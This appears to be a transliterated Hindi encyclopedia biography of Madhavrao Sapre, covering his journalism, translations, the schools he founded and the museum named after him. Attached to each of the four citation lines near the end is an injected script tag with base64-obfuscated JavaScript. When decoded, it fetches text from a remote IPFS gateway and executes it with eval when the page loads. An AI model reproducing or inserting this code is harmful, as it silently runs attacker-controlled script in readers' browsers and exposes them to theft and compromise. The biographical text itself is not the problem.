माधवराव सप्रे

pan. madhavarav sapre (aangrezi:Madhavrao Sapre, janm: 19 joon 1871 - mrityu: 26 aprॅl, 1926) rashtrabhasha hindi ke unnayak, prakhar chiantak, manishi sanpadak, svatantrata sangram senani aur sarvajanik karyoan ke liye samarpit karyakartaoan ki shrriankhala taiyar karane vale prerak-margadarshak the. guru karmayogi pan. madhavarav sapre ka krititv aur avadan kalajayi hai. madhavarav sapre ji ki kahani 'ek tokari mitti' ko hiandi ki pahali kahani hone ka shrey prapt hai.

jivan parichay

madhavarav sapre ji ka janm 19 joon 1871 mean damoh zile ke pathariya gram mean hua tha. bilasapur mean midil tak ki padhaee ke bad metrik shasakiy vidyalay rayapur se uttirn kiya. 1899 mean kalakatta vishvavidyalay se bi. e. karane ke bad unhean tahasiladar ke rup mean shasakiy naukari mili lekin jaisa ki us samay ke deshabhakt yuvaoan mean ek paranpara thi sapre ji ne bhi shasakiy naukari ki paravah n ki. san 1900 mean jab samooche chhattisagadh mean priantiang pres nahi tha tab inhoanne bilasapur zile ke ek chhote se gaanv peandra se "chhattisagadh mitr" namak masik patrika nikali. halaanki yah patrika sirf tin sal hi chal paee. sapre ji ne lokamany tilak ke marathi kesari ko yahaan hiand kesari ke rup mean chhapana praranbh kiya, sath hi hiandi sahityakaroan v lekhakoan ko ek sootr mean pirone ke lie nagapur se hiandi granthamala bhi prakashit ki. inhoanne karmavir ke prakashan mean bhi mahati bhoomika nibhaee. sapre ji ne lekhan ke sath-sath vikhyat sant samarth ramadas ke marathi dasabodh v mahabharat ki mimaansa, datt bhargav, shri ram charitr, ekanath charitr aur atm vidya jaise marathi granthoan, pustakoan ka hiandi mean anuvad bhi bakhoobi kiya. 1924 mean hiandi sahity sammelan ke deharadoon adhiveshan mean sabhapati rahe sapre ji ne 1921 mean rayapur mean rashtriy vidyalay ki sthapana ki aur sath hi rayapur mean hi pahale kanya vidyalay janaki devi mahila pathashala ki bhi sthapana ki. yah donoan vidyalay aj bhi chal rahe haian.^[1]

sapre ji ke kuchh smaraniy kathan: -

"maian maharashtri hooan par hiandi ke vishay mean muhjhe utana hi abhiman hai jitana ki kisi hiandibhashi ko ho sakata hai."
"jis shiksha se svabhiman ki vritti jagrit nahian hoti vah shiksha kisi kam ki nahian hai"
"videshi bhasha mean shiksha hone ke karan hamari buddhi bhi videshi ho gee hai."

karyakshetr

raja ramamohan ray ne adhunik bharatiy samaj ke nirman mean jo chiangari jagaee thi usake vahak ke roop mean chhath‍tisagadh mean vaicharik samajik kraanti ke alakh jagane ka kam kisi nean poori pratibaddhata se kiya hai to nirvivad roop se yah kaha jayega ki vah chhath‍tisagadh ke pratham patrakar v hinh‍di ki pratham kahani ek tokari bhar mitti ke rachanakar pan. madhavarav sapre ji hi the. inh‍hoanne chhath‍tisagadh ke peandra se ‘chhath‍tisagadh mitr’ patrika ka prakashan sanh 1900 mean suprasiddh sh‍vatantrata sangram senani shri vaman rav lakhe ke sahayog se aranbh kiya tha.

sapre sangrahalay

pan. madhavarav sapre ne chhattisagadh mitra (1900), hindi granth mala (1906) aur hindi kesari (1907) ka sampadan prakashan kar hindi patrakarita aur sahity ko naye sanskar pradan kie. nagari pracharini sabha kashi ki vishal shabdakosh yojana ke antargat arthik shabdavali ke nirman ka mahatvapoorn kary sapre ji ne kiya. marathi ki sarvadhik mahatvapoorn kritiyoan mean se 'dasabodh', 'gitarahasy' aur 'mahabharat mimaansa' ke pramanik hindi anuvad sapre ji ne kiye. karmavir ka prakashan unhian ne karaya aur usake sampadak ke roop mean makhanalal chaturvedi jaisa tejasvi sampadak hindi sansar ko diya. 1924 ke deharadoon hindi sahity sammelan ki adhyakshata pan.madhavarav sapre ne ki. unaka ek atyant mahatvapoorn avadan svatantrata sangram, hindi ki seva aur samajik karyoan ke lie saik doan samarpit karyakarttaoan ki shrriankhala taiyar karana hai. 19 joon 1984 ko rashtr ki bauddhik dharohar ko sanjone aur bhavi pidhiyoan ki amanat ke roop mean sanrakshit karane ke liye jab ek anoothe sangrahalay ki sthapana ka vichar phalibhoot hua tab sapre ji ke krititv ke prati adar aur kritajnata abhivyakt karane ke liye sansthan ko 'madhavarav sapre samachar patr sangrahalay' nam diya gaya.^[2]

nidhan

hiandi ke is pahale kahanikar ka nidhan 26 aprॅl, 1926 ko ho gaya.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hiandi ki pahali kahani aur madhavarav sapre (hiandi) avara banjara. abhigaman tithi: 24 aprॅl, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ karmayogi pan. madhavarav sapre (hiandi) sapre sangrahalay. abhigaman tithi: 24 aprॅl, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ↑ hiandi ki pahali kahani aur madhavarav sapre (hiandi) avara banjara. abhigaman tithi: 24 aprॅl, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] rmayogi pan. madhavarav sapre (hiandi) sapre sangrahalay. abhigaman tithi: 24 aprॅl, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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